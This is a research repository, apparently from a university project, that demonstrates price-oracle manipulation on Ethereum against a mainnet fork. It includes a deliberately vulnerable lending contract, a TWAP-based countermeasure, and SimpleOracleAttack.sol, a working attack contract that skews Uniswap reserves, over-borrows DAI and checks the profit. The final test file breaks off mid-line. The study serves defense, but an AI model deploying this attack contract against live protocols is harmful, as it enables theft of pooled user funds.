├── .gitignore ├── .vscode └── settings.json ├── contracts ├── ForceSendEther.sol ├── ILendingProtocol.sol ├── ResistantLendingProtocol.sol ├── VulnerableLendingProtocol.sol ├── SimpleOracleAttack.sol ├── DaiWethTwapPriceOracle.sol └── interfaces │ └── Dai.json ├── tsconfig.json ├── Dockerfile ├── .prettierrc.json ├── hardhat.config.ts ├── package.json ├── README.md └── test ├── vulnerable-price-oracle.spec.ts ├── resistant-price-oracle.spec.ts └── frontrun.spec.ts /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | yarn-error.log 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "solidity.compileUsingRemoteVersion": "v0.6.6+commit.6c089d02" 3 | } -------------------------------------------------------------------------------- /contracts/ForceSendEther.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6; 2 | 3 | contract ForceSendEther { 4 | /** 5 | * Force send to `target` address, even if it's a contract that 6 | * might revert. 7 | */ 8 | function forceSend(address payable target) external payable { 9 | selfdestruct(target); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "module": "commonjs", 4 | "moduleResolution": "node", 5 | "target": "es2019", 6 | "lib": ["es2020", "DOM"], 7 | "sourceMap": true, 8 | "allowJs": false, 9 | "allowSyntheticDefaultImports": true, 10 | "forceConsistentCasingInFileNames": true, 11 | "noImplicitReturns": true, 12 | "noImplicitThis": true, 13 | "noImplicitAny": true, 14 | "strictNullChecks": true, 15 | "suppressImplicitAnyIndexErrors": true, 16 | "noUnusedLocals": true 17 | }, 18 | "include": ["hardhat.config.ts", "scripts", "test"] 19 | } 20 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # ACHTUNG: The build context should be the project root! 2 | FROM centos:7 3 | 4 | # Basic deps 5 | RUN yum install -y epel-release && \ 6 | yum groupinstall -y 'Development Tools' 7 | 8 | # Install node 9 | RUN curl --silent --location https://rpm.nodesource.com/setup_14.x | bash - && \ 10 | yum install -y nodejs && \ 11 | node --version 12 | 13 | # Install yarn 14 | RUN curl --silent --location https://dl.yarnpkg.com/rpm/yarn.repo | tee /etc/yum.repos.d/yarn.repo && \ 15 | yum install -y yarn && \ 16 | yarn --version 17 | 18 | WORKDIR /app 19 | # Copy source && install dependencies && build 20 | COPY . . 21 | RUN cd /app && \ 22 | yarn install && \ 23 | yarn build 24 | 25 | CMD ["yarn", "hardhat", "test"] 26 | -------------------------------------------------------------------------------- /.prettierrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": ["*.js", "*.ts", "*.tsx"], 5 | "options": { 6 | "parser": "typescript", 7 | "tabWidth": 4, 8 | "semi": false, 9 | "singleQuote": true, 10 | "printWidth": 100 11 | } 12 | }, 13 | { 14 | "files": ["*.json"], 15 | "options": { 16 | "parser": "json", 17 | "tabWidth": 2 18 | } 19 | }, 20 | { 21 | "files": ["*.html"], 22 | "options": { 23 | "parser": "html", 24 | "tabWidth": 4 25 | } 26 | }, 27 | { 28 | "files": ["*.css"], 29 | "options": { 30 | "parser": "css", 31 | "tabWidth": 4 32 | } 33 | }, 34 | { 35 | "files": ["*.md"], 36 | "options": { 37 | "parser": "markdown", 38 | "tabWidth": 4, 39 | "semi": false, 40 | "singleQuote": true, 41 | "printWidth": 100 42 | } 43 | } 44 | ] 45 | } 46 | -------------------------------------------------------------------------------- /hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import '@nomiclabs/hardhat-ethers' 2 | import '@nomiclabs/hardhat-waffle' 3 | import { HardhatUserConfig, task } from 'hardhat/config' 4 | 5 | task('accounts', 'Prints the list of accounts', async (args, hre) => { 6 | const accounts = await hre.ethers.getSigners() 7 | 8 | for (const account of accounts) { 9 | console.log(account.address) 10 | } 11 | }) 12 | 13 | const config: HardhatUserConfig = { 14 | solidity: '0.6.6', 15 | networks: { 16 | hardhat: { 17 | mining: { 18 | auto: process.env.AUTOMINE?.toLowerCase() === 'true', 19 | }, 20 | forking: { 21 | url: 'https://mainnet.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161', 22 | // blockNumber: 12490866, 23 | }, 24 | accounts: { 25 | accountsBalance: '1000000000000000000000000', // 1M ETH 26 | }, 27 | }, 28 | }, 29 | } 30 | module.exports = config 31 | -------------------------------------------------------------------------------- /contracts/ILendingProtocol.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.6; 4 | 5 | /** 6 | * Simple lending protocol that lends DAI using ETH as collateral. 7 | */ 8 | interface ILendingProtocol { 9 | /** 10 | * Deposit ETH as collateral. 11 | */ 12 | function depositCollateral() external payable; 13 | 14 | /** 15 | * Withdraw ETH from collateral. 16 | */ 17 | function withdrawCollateral(uint256 withdrawAmount) external; 18 | 19 | /** 20 | * Borrow DAI, using deposited ETH as collateral at a minimum of 21 | * 150% collateralisation ratio. 22 | */ 23 | function borrowDai(uint256 daiBorrowAmount) external; 24 | 25 | /** 26 | * Repay DAI. 27 | */ 28 | function repayDai(uint256 repayAmount) external; 29 | 30 | /** 31 | * Calculates whether or not the borrower is above the 32 | * required collateralisation ratio or not; at which point their 33 | * ETH collateral becomes liquidatable. 34 | */ 35 | function isLiquidatable(address borrower) external view returns (bool); 36 | } 37 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "arbitrageurs-and-oracle-manipulators", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "yarn hardhat test", 8 | "compile": "yarn hardhat compile" 9 | }, 10 | "keywords": [], 11 | "author": "", 12 | "license": "ISC", 13 | "devDependencies": { 14 | "@nomiclabs/hardhat-ethers": "^2.0.2", 15 | "@nomiclabs/hardhat-waffle": "^2.0.1", 16 | "@openzeppelin/contracts": "^3", 17 | "@types/chai": "^4.2.18", 18 | "@types/chai-as-promised": "^7.1.4", 19 | "@types/mocha": "^8.2.2", 20 | "@types/node": "^15.0.3", 21 | "@uniswap/lib": "^4.0.1-alpha", 22 | "abi-decoder": "^2.4.0", 23 | "chai": "^4.3.4", 24 | "chai-as-promised": "^7.1.1", 25 | "ethereum-waffle": "^3.3.0", 26 | "ethers": "^5.1.4", 27 | "hardhat": "^2.2.1", 28 | "hardhat-ethers": "^1.0.1", 29 | "ts-node": "^9.1.1", 30 | "typescript": "^4.2.4" 31 | }, 32 | "dependencies": { 33 | "@uniswap/v2-core": "^1.0.1", 34 | "@uniswap/v2-periphery": "^1.1.0-beta.0" 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Countering Arbitrageurs and Resisting Oracle Manipulators in Ethereum Smart Contracts 2 | 3 | This repository contains experiments performed for my Bachelor's research project at TU Delft, exploring frontrunning and oracle manipulation vulnerabilities. This project utilises Hardhat to fork Ethereum mainnet and run scripts. 4 | 5 | ## Frontrunning 6 | 7 | The test case `test/frontrun.spec.ts` contains code exemplifying a typical sandwich attack on Uniswap, using frontrunning and backrunning via the PGA mechanism. 8 | 9 | ## Oracle Manipulation 10 | 11 | The scripts `test/vulnerable-price-oracle.spec.ts` and `test/resistant-price-oracle.spec.ts` contain code demonstrating oracle manipulation attacks on the contracts in the `contracts/` directory. `contracts/VulnerableLendingProtocol.sol` is an example lending protocol that uses Uniswap V2 as a price oracle by calculating reserves, and is vulnerable to an oracle manipulation attack defined in `contracts/SimpleOracleAttack.sol`. 12 | 13 | `contracts/ResistantLendingProtocol.sol` describes a lending protocol that uses a TWAP price oracle as a countermeasure to oracle manipulation. 14 | 15 | ## Running Experiments 16 | 17 | To run the test cases, use the command `yarn test`. 18 | -------------------------------------------------------------------------------- /contracts/ResistantLendingProtocol.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.6; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 6 | import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; 7 | import "@uniswap/lib/contracts/libraries/FixedPoint.sol"; 8 | import "./ILendingProtocol.sol"; 9 | import "./DaiWethTwapPriceOracle.sol"; 10 | import "hardhat/console.sol"; 11 | 12 | contract ResistantLendingProtocol is ILendingProtocol { 13 | using FixedPoint for *; 14 | 15 | address private constant daiAddress = 16 | 0x6B175474E89094C44Da98b954EedeAC495271d0F; 17 | address private constant daiEthPairAddress = 18 | 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11; 19 | 20 | IERC20 private constant Dai = IERC20(daiAddress); 21 | 22 | mapping(address => uint256) depositedCollateral; 23 | mapping(address => uint256) borrowedDai; 24 | 25 | DaiWethTwapPriceOracle private priceOracle; 26 | 27 | constructor(address daiWethTwapPriceOracleAddress) public { 28 | priceOracle = DaiWethTwapPriceOracle(daiWethTwapPriceOracleAddress); 29 | } 30 | 31 | /** 32 | * In this more resistant lending protocol, ETH price fetching is delegated 33 | * to a TWAP price oracle. 34 | */ 35 | function getEthPrice() public view returns (uint256) { 36 | return priceOracle.getEthTwapPrice(); 37 | } 38 | 39 | /** 40 | * Deposit ETH as collateral. 41 | */ 42 | function depositCollateral() external payable override { 43 | // console.log("Depositing collateral"); 44 | depositedCollateral[msg.sender] += msg.value; 45 | } 46 | 47 | /** 48 | * Withdraw ETH from collateral. 49 | */ 50 | function withdrawCollateral(uint256 withdrawAmount) external override { 51 | address borrower = msg.sender; 52 | uint256 daiPerEth = getEthPrice(); 53 | uint256 requiredCollateral = 54 | (150 * (borrowedDai[borrower] - withdrawAmount)) / 55 | (100 * daiPerEth); 56 | require( 57 | depositedCollateral[borrower] >= requiredCollateral, 58 | "Collateralisation ratio must must be >=150% after withdrawing ETH" 59 | ); 60 | 61 | depositedCollateral[msg.sender] -= withdrawAmount; 62 | (bool ethTransferred, ) = msg.sender.call{value: withdrawAmount}(""); 63 | require(ethTransferred, "Error transferring ETH to borrower"); 64 | } 65 | 66 | /** 67 | * Borrow DAI, using deposited ETH as collateral at a minimum of 68 | * 150% collateralisation ratio. 69 | */ 70 | function borrowDai(uint256 daiBorrowAmount) external override { 71 | // Check that there is enough liquidity 72 | uint256 daiLiquidity = Dai.balanceOf(address(this)); 73 | console.log( 74 | "Trying to borrow: %s, Liquidity: %s", 75 | daiBorrowAmount, 76 | daiLiquidity 77 | ); 78 | require( 79 | daiLiquidity >= daiBorrowAmount, 80 | "Not enough liquidity in the DAI lending pool!" 81 | ); 82 | address borrower = msg.sender; 83 | uint256 daiPerEth = getEthPrice(); 84 | console.log("ETH price: %s", daiPerEth); 85 | // Check that user has sufficient available collateral 86 | uint256 requiredCollateral = 87 | (150 * (daiBorrowAmount + borrowedDai[borrower])) / 88 | (100 * daiPerEth); 89 | console.log("Required coll: %s", requiredCollateral); 90 | require( 91 | depositedCollateral[borrower] >= requiredCollateral, 92 | "Collateralisation ratio after borrowing must be >=150%" 93 | ); 94 | 95 | console.log("Lending!"); 96 | // Update borrower's books & lend DAI to borrower 97 | borrowedDai[borrower] += daiBorrowAmount; 98 | bool daiTransferred = Dai.transfer(borrower, daiBorrowAmount); 99 | require(daiTransferred, "Error transferring DAI to borrower"); 100 | } 101 | 102 | /** 103 | * Repay DAI 104 | */ 105 | function repayDai(uint256 repayAmount) external override { 106 | address borrower = msg.sender; 107 | uint256 cappedRepayAmount = 108 | min(borrowedDai[borrower] - repayAmount, repayAmount); 109 | borrowedDai[borrower] -= cappedRepayAmount; 110 | bool daiTransferred = 111 | Dai.transferFrom(borrower, address(this), cappedRepayAmount); 112 | require(daiTransferred, "Error transferring DAI to lending pool"); 113 | } 114 | 115 | function isLiquidatable(address borrower) 116 | external 117 | view 118 | override 119 | returns (bool) 120 | { 121 | uint256 daiPerEth = getEthPrice(); 122 | uint256 requiredCollateral = 123 | (150 * borrowedDai[borrower]) / (100 * daiPerEth); 124 | // Less than 150% CR -> liquidatable 125 | return (depositedCollateral[borrower] < requiredCollateral); 126 | } 127 | 128 | function min(uint256 a, uint256 b) private pure returns (uint256) { 129 | return a < b ? a : b; 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /contracts/VulnerableLendingProtocol.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.6; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 6 | import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; 7 | import "@uniswap/lib/contracts/libraries/FixedPoint.sol"; 8 | import "./ILendingProtocol.sol"; 9 | import "hardhat/console.sol"; 10 | 11 | contract VulnerableLendingProtocol is ILendingProtocol { 12 | using FixedPoint for *; 13 | 14 | address private constant daiAddress = 15 | 0x6B175474E89094C44Da98b954EedeAC495271d0F; 16 | address private constant daiEthPairAddress = 17 | 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11; 18 | 19 | IERC20 private constant Dai = IERC20(daiAddress); 20 | 21 | mapping(address => uint256) depositedCollateral; 22 | mapping(address => uint256) borrowedDai; 23 | 24 | constructor() public {} 25 | 26 | /** 27 | * Calculates the mid price of ETH (in DAI) from calculating the liquidity reserves. 28 | * This is vulnerable to instantaneous price movements as we rely solely on Uniswap 29 | * as an on-chain price oracle. 30 | */ 31 | function getEthPrice() public view returns (uint256) { 32 | (uint112 daiReserve, uint112 ethReserve, ) = 33 | IUniswapV2Pair(daiEthPairAddress).getReserves(); 34 | 35 | return FixedPoint.fraction(daiReserve, ethReserve).decode(); 36 | } 37 | 38 | /** 39 | * Deposit ETH as collateral. 40 | */ 41 | function depositCollateral() external payable override { 42 | // console.log("Depositing collateral"); 43 | depositedCollateral[msg.sender] += msg.value; 44 | } 45 | 46 | /** 47 | * Withdraw ETH from collateral. 48 | */ 49 | function withdrawCollateral(uint256 withdrawAmount) external override { 50 | address borrower = msg.sender; 51 | uint256 daiPerEth = getEthPrice(); 52 | uint256 requiredCollateral = 53 | (150 * (borrowedDai[borrower] - withdrawAmount)) / 54 | (100 * daiPerEth); 55 | require( 56 | depositedCollateral[borrower] >= requiredCollateral, 57 | "Collateralisation ratio must must be >=150% after withdrawing ETH" 58 | ); 59 | 60 | depositedCollateral[msg.sender] -= withdrawAmount; 61 | (bool ethTransferred, ) = msg.sender.call{value: withdrawAmount}(""); 62 | require(ethTransferred, "Error transferring ETH to borrower"); 63 | } 64 | 65 | /** 66 | * Borrow DAI, using deposited ETH as collateral at a minimum of 67 | * 150% collateralisation ratio. 68 | */ 69 | function borrowDai(uint256 daiBorrowAmount) external override { 70 | // Check that there is enough liquidity 71 | uint256 daiLiquidity = Dai.balanceOf(address(this)); 72 | console.log( 73 | "Trying to borrow: %s, Liquidity: %s", 74 | daiBorrowAmount, 75 | daiLiquidity 76 | ); 77 | require( 78 | daiLiquidity >= daiBorrowAmount, 79 | "Not enough liquidity in the DAI lending pool!" 80 | ); 81 | address borrower = msg.sender; 82 | uint256 daiPerEth = getEthPrice(); 83 | console.log("ETH price: %s", daiPerEth); 84 | // Check that user has sufficient available collateral 85 | uint256 requiredCollateral = 86 | (150 * (daiBorrowAmount + borrowedDai[borrower])) / 87 | (100 * daiPerEth); 88 | console.log("Required coll: %s", requiredCollateral); 89 | require( 90 | depositedCollateral[borrower] >= requiredCollateral, 91 | "Collateralisation ratio after borrowing must be >=150%" 92 | ); 93 | 94 | console.log("Lending!"); 95 | // Update borrower's books & lend DAI to borrower 96 | borrowedDai[borrower] += daiBorrowAmount; 97 | bool daiTransferred = Dai.transfer(borrower, daiBorrowAmount); 98 | require(daiTransferred, "Error transferring DAI to borrower"); 99 | } 100 | 101 | /** 102 | * Repay DAI 103 | */ 104 | function repayDai(uint256 repayAmount) external override { 105 | address borrower = msg.sender; 106 | uint256 cappedRepayAmount = 107 | min(borrowedDai[borrower] - repayAmount, repayAmount); 108 | borrowedDai[borrower] -= cappedRepayAmount; 109 | bool daiTransferred = 110 | Dai.transferFrom(borrower, address(this), cappedRepayAmount); 111 | require(daiTransferred, "Error transferring DAI to lending pool"); 112 | } 113 | 114 | function isLiquidatable(address borrower) 115 | external 116 | view 117 | override 118 | returns (bool) 119 | { 120 | uint256 daiPerEth = getEthPrice(); 121 | uint256 requiredCollateral = 122 | (150 * borrowedDai[borrower]) / (100 * daiPerEth); 123 | // Less than 150% CR -> liquidatable 124 | return (depositedCollateral[borrower] < requiredCollateral); 125 | } 126 | 127 | function min(uint256 a, uint256 b) private pure returns (uint256) { 128 | return a < b ? a : b; 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /contracts/SimpleOracleAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity =0.6.6; 4 | 5 | import "@openzeppelin/contracts/access/Ownable.sol"; 6 | // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 7 | // import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol"; 8 | import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; 9 | import "@uniswap/v2-periphery/contracts/UniswapV2Router02.sol"; 10 | import "@uniswap/lib/contracts/libraries/FixedPoint.sol"; 11 | import "./ILendingProtocol.sol"; 12 | import "hardhat/console.sol"; 13 | 14 | contract SimpleOracleAttack is Ownable { 15 | using FixedPoint for *; 16 | 17 | event SuccessfulAttack(uint256 profit); 18 | 19 | ILendingProtocol private lendingProtocol; 20 | 21 | // UniV2 Router 22 | address payable private constant uniV2RouterAddress = 23 | 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 24 | UniswapV2Router02 uniV2Router = UniswapV2Router02(uniV2RouterAddress); 25 | IUniswapV2Pair private constant daiEthPair = 26 | IUniswapV2Pair(0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11); 27 | 28 | // DAI 29 | address private constant daiAddress = 30 | 0x6B175474E89094C44Da98b954EedeAC495271d0F; 31 | IERC20 private immutable Dai = IERC20(daiAddress); 32 | 33 | // WETH 34 | address private immutable wethAddress; 35 | IERC20 private immutable Weth; 36 | 37 | constructor(address lendingProtocolAddress) public { 38 | lendingProtocol = ILendingProtocol(lendingProtocolAddress); 39 | address wethAddress_ = uniV2Router.WETH(); 40 | wethAddress = wethAddress_; 41 | Weth = IERC20(wethAddress_); 42 | } 43 | 44 | fallback() external payable {} 45 | 46 | receive() external payable {} 47 | 48 | function attack() external { 49 | uint256 startingEth = address(this).balance; 50 | uint256 startingDai = Dai.balanceOf(address(this)); 51 | 52 | // 1. Swap DAI -> ETH (This increases the ETH price on Uniswap) 53 | (uint112 daiReserve, uint112 wethReserve, ) = daiEthPair.getReserves(); 54 | uint256 daiToSell = 10000000 ether; // DAI has the same decimals as ETH 55 | uint256 ethAmountOutMin = 56 | uniV2Router.getAmountOut(daiToSell, daiReserve, wethReserve); 57 | require( 58 | Dai.approve(uniV2RouterAddress, daiToSell), 59 | "Failed to approve DAI for spending" 60 | ); 61 | uint256 daiSold; 62 | uint256 wethBought; 63 | { 64 | address[] memory pathDaiWeth = new address[](2); 65 | pathDaiWeth[0] = daiAddress; 66 | pathDaiWeth[1] = uniV2Router.WETH(); 67 | uint256[] memory daiWethSwapAmounts = 68 | uniV2Router.swapExactTokensForETH( 69 | daiToSell, 70 | ethAmountOutMin, 71 | pathDaiWeth, 72 | address(this), 73 | now + 15 seconds 74 | ); 75 | daiSold = daiWethSwapAmounts[0]; 76 | wethBought = daiWethSwapAmounts[1]; 77 | } 78 | uint256 actualEthBought = address(this).balance - startingEth; 79 | require(wethBought == actualEthBought); 80 | 81 | // 2. Deposit ETH (_NOT_ the ETH we just swapped) into lending protocol 82 | uint256 ethDeposit = 100 ether; 83 | lendingProtocol.depositCollateral{value: ethDeposit}(); 84 | console.log("Deposited collateral"); 85 | 86 | // 3. Borrow max DAI according to new mid-price that this lending protocol 87 | // thinks it's at 88 | uint256 newEthPrice = 89 | (daiReserve + daiSold) / (wethReserve - wethBought); 90 | uint256 maxBorrow = (100 * newEthPrice * ethDeposit) / 150; 91 | console.log( 92 | "Max borrow: %s > Dai in: %s (%s)", 93 | maxBorrow, 94 | daiSold, 95 | maxBorrow > wethBought 96 | ); 97 | lendingProtocol.borrowDai(maxBorrow); 98 | console.log("Borrowed DAI"); 99 | // At this point, we have more DAI than we started with 100 | 101 | // 4. Swap back ETH -> DAI 102 | require( 103 | Weth.approve(uniV2RouterAddress, ethAmountOutMin), 104 | "Failed to approve WETH for spending" 105 | ); 106 | address[] memory pathWethDai = new address[](2); 107 | pathWethDai[0] = wethAddress; 108 | pathWethDai[1] = daiAddress; 109 | uint256[] memory wethDaiSwapAmounts = 110 | uniV2Router.swapExactETHForTokens{value: wethBought}( 111 | (daiSold * 99) / 100, // 1% slippage tolerance 112 | pathWethDai, 113 | address(this), 114 | now + 15 seconds 115 | ); 116 | console.log( 117 | "Swapped back %s ETH -> %s DAI", 118 | wethDaiSwapAmounts[0] / 1e18, 119 | wethDaiSwapAmounts[1] / 1e18 120 | ); 121 | 122 | // 5. Ensure that we are making a profit! 123 | uint256 resultingDai = Dai.balanceOf(address(this)); 124 | require(resultingDai > startingDai, "Unprofitable!"); 125 | emit SuccessfulAttack(resultingDai - startingDai); 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /contracts/DaiWethTwapPriceOracle.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.6; 4 | 5 | import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; 6 | import "@uniswap/lib/contracts/libraries/FixedPoint.sol"; 7 | 8 | // import "hardhat/console.sol"; 9 | 10 | contract DaiWethTwapPriceOracle { 11 | using FixedPoint for *; 12 | 13 | uint256 public constant TWAP_PERIOD = 4 hours; 14 | address private constant daiEthPairAddress = 15 | 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11; 16 | 17 | struct Observation { 18 | uint256 timestamp; 19 | uint256 cumPrice0; 20 | uint256 cumPrice1; 21 | } 22 | /** Treat this array as a ringbuffer */ 23 | uint8 private constant OBS_LEN = 6; 24 | Observation[] private observations; 25 | uint256 private obs_head = 0; 26 | 27 | constructor() public { 28 | seedTwap(); 29 | } 30 | 31 | function obsIndex(uint256 head) private pure returns (uint8) { 32 | return (uint8)(head % OBS_LEN); 33 | } 34 | 35 | function recordObservation(Observation memory obs) private { 36 | observations[obsIndex(obs_head++)] = obs; 37 | } 38 | 39 | function getLatestObservation() private view returns (Observation memory) { 40 | return observations[obsIndex(obs_head - 1)]; 41 | } 42 | 43 | /** 44 | * Seed the TWAP as if it had already run for 24h. (with current mid price) 45 | */ 46 | function seedTwap() private { 47 | (uint112 daiReserve, uint112 ethReserve, ) = 48 | IUniswapV2Pair(daiEthPairAddress).getReserves(); 49 | uint256 lastCumPrice0 = 50 | IUniswapV2Pair(daiEthPairAddress).price0CumulativeLast(); 51 | uint256 lastCumPrice1 = 52 | IUniswapV2Pair(daiEthPairAddress).price1CumulativeLast(); 53 | FixedPoint.uq112x112 memory ethDaiPrice = 54 | FixedPoint.fraction(ethReserve, daiReserve); 55 | FixedPoint.uq112x112 memory daiEthPrice = 56 | FixedPoint.fraction(daiReserve, ethReserve); 57 | for (uint8 i = 0; i < OBS_LEN; i++) { 58 | uint256 newCumPrice0 = 59 | lastCumPrice0 + 60 | FixedPoint.mul(ethDaiPrice, TWAP_PERIOD * i).decode144(); 61 | uint256 newCumPrice1 = 62 | lastCumPrice1 + 63 | FixedPoint.mul(daiEthPrice, TWAP_PERIOD * i).decode144(); 64 | Observation memory newObs = 65 | Observation( 66 | block.timestamp - TWAP_PERIOD * (OBS_LEN - i), 67 | newCumPrice0, 68 | newCumPrice1 69 | ); 70 | observations.push(newObs); 71 | obs_head += 1; 72 | 73 | // Sanity checks 74 | if (i > 0) { 75 | Observation memory lastObs = 76 | observations[obsIndex(obs_head - 2)]; 77 | require( 78 | newObs.timestamp - lastObs.timestamp == TWAP_PERIOD, 79 | "4 hours since last update" 80 | ); 81 | require( 82 | (newObs.cumPrice1 - lastObs.cumPrice1) / TWAP_PERIOD == 83 | daiEthPrice.decode(), 84 | "Correct cumulative price for 4h" 85 | ); 86 | } 87 | } 88 | } 89 | 90 | /** 91 | * Update cumulative price, must be run periodically at about ~TWAP_PERIOD 92 | * either by users of keepers. 93 | */ 94 | function updateTwap() public { 95 | Observation memory latestObservation = getLatestObservation(); 96 | (uint112 daiReserve, uint112 ethReserve, uint256 timestamp) = 97 | IUniswapV2Pair(daiEthPairAddress).getReserves(); 98 | uint256 timeElapsed = timestamp - latestObservation.timestamp; 99 | 100 | require( 101 | timeElapsed >= TWAP_PERIOD || msg.sender == address(this), 102 | "Too soon since last TWAP update!" 103 | ); 104 | 105 | uint256 newCumulativePrice0 = 106 | latestObservation.cumPrice0 + 107 | uint256(FixedPoint.fraction(ethReserve, daiReserve).decode()) * 108 | timeElapsed; 109 | uint256 newCumulativePrice1 = 110 | latestObservation.cumPrice1 + 111 | uint256(FixedPoint.fraction(daiReserve, ethReserve).decode()) * 112 | timeElapsed; 113 | 114 | recordObservation( 115 | Observation(timestamp, newCumulativePrice0, newCumulativePrice1) 116 | ); 117 | } 118 | 119 | /** 120 | * Fetches the 24h TWAP for WETH. 121 | */ 122 | function getEthTwapPrice() external view returns (uint256) { 123 | uint256 sumTwap = 0; 124 | for (uint256 i = obs_head; i < (obs_head + OBS_LEN) - 1; i++) { 125 | Observation memory obs = observations[obsIndex(i)]; 126 | Observation memory nextObs = observations[obsIndex(i + 1)]; 127 | uint256 avgPrice = 128 | (nextObs.cumPrice1 - obs.cumPrice1) / 129 | (nextObs.timestamp - obs.timestamp); 130 | sumTwap += avgPrice; 131 | } 132 | 133 | return sumTwap / (OBS_LEN - 1); 134 | } 135 | } 136 | -------------------------------------------------------------------------------- /test/vulnerable-price-oracle.spec.ts: -------------------------------------------------------------------------------- 1 | import { ethers, network } from 'hardhat' 2 | import { expect } from 'chai' 3 | // @ts-ignore 4 | import * as daiAbi from '../contracts/interfaces/Dai.json' 5 | 6 | const BigNumber = ethers.BigNumber 7 | type BigNumber = ReturnType 8 | 9 | const daiAddress = '0x6B175474E89094C44Da98b954EedeAC495271d0F' 10 | 11 | describe('Oracle manipulation', function () { 12 | it('should succeed in exploiting a vulnerable price oracle to make a profit', async function () { 13 | // Init stuff 14 | const signers = await ethers.getSigners() 15 | const signer = signers[0] // Loaded with 10k ETH 16 | 17 | // Deploy force sender 18 | const ForceSendEther = await ethers.getContractFactory('ForceSendEther') 19 | const forceSendEther = await ForceSendEther.deploy() 20 | // Deploy simple oracle example 21 | const VulnerableLendingProtocol = await ethers.getContractFactory( 22 | 'VulnerableLendingProtocol' 23 | ) 24 | const vulnerableLendingProtocol = await VulnerableLendingProtocol.deploy() 25 | await Promise.all([mine(), forceSendEther.deployed(), vulnerableLendingProtocol.deployed()]) 26 | // Deploy attacker contract 27 | const SimpleOracleAttack = await ethers.getContractFactory('SimpleOracleAttack') 28 | const simpleOracleAttack = await SimpleOracleAttack.deploy( 29 | vulnerableLendingProtocol.address 30 | ) 31 | await Promise.all([mine(), simpleOracleAttack.deployed()]) 32 | 33 | console.log('Setting up DAI Join Adapter...') 34 | const daiJoinAdapterAddress = '0x9759A6Ac90977b93B58547b4A71c78317f391A28' 35 | await network.provider.request({ 36 | method: 'hardhat_impersonateAccount', 37 | /** MakerDAO DaiJoin Adapter - The only ward in the DAI contract */ 38 | // Ref: https://github.com/makerdao/developerguides/blob/master/dai/dai-token/dai-token.md#authority 39 | params: [daiJoinAdapterAddress], 40 | }) 41 | const daiSigner = await ethers.getSigner(daiJoinAdapterAddress) 42 | // Force send some ETH to the DaiJoin Adapter 43 | const sendEthToDaiJoinTx = await signer.sendTransaction( 44 | await forceSendEther.populateTransaction.forceSend(daiJoinAdapterAddress, { 45 | value: ethers.utils.parseEther('10.0'), 46 | gasLimit: BigNumber.from(300000), // DAI swap is usually ~200k gas 47 | gasPrice: BigNumber.from(10).mul(BigNumber.from(10).pow(9)), // in wei 48 | }) 49 | ) 50 | // Send ETH to the attacker contract 51 | const sendEthToAttackTx = await signer.sendTransaction({ 52 | // For collateral + gas 53 | // TODO: Get this from a flash loan 54 | to: simpleOracleAttack.address, 55 | value: ethers.utils.parseEther('101.0'), 56 | gasLimit: BigNumber.from(300000), 57 | gasPrice: BigNumber.from(10).mul(BigNumber.from(10).pow(9)), // in wei 58 | }) 59 | await Promise.all([mine(), sendEthToDaiJoinTx.wait(), sendEthToAttackTx.wait()]) 60 | 61 | // Mint some DAI for the lending protocol 62 | console.log('Minting DAI for lending protocol...') 63 | const Dai = await ethers.getContractAt(daiAbi, daiAddress, daiSigner) 64 | let mintDaiTx = await daiSigner.sendTransaction( 65 | await Dai.populateTransaction.mint( 66 | vulnerableLendingProtocol.address, 67 | ethers.utils.parseEther('100000000') 68 | ) 69 | ) 70 | await mine() 71 | await mintDaiTx.wait() 72 | 73 | // Mint some DAI for the attacker 74 | // Normally, as an adversary, we would take out a flash loan for this DAI 75 | console.log('Minting DAI for attacker...') 76 | mintDaiTx = await daiSigner.sendTransaction( 77 | await Dai.populateTransaction.mint( 78 | simpleOracleAttack.address, 79 | // TODO: Use amount of DAI based on LP reserves 80 | ethers.utils.parseEther('30000000') 81 | ) 82 | ) 83 | await mine() 84 | await mintDaiTx.wait() 85 | const startingDai = await getDaiBalance(simpleOracleAttack.address) 86 | 87 | const attackTx = await signer.sendTransaction( 88 | await simpleOracleAttack.populateTransaction.attack({ 89 | gasLimit: BigNumber.from(10000000), 90 | gasPrice: BigNumber.from(10).mul(BigNumber.from(10).pow(9)), // in 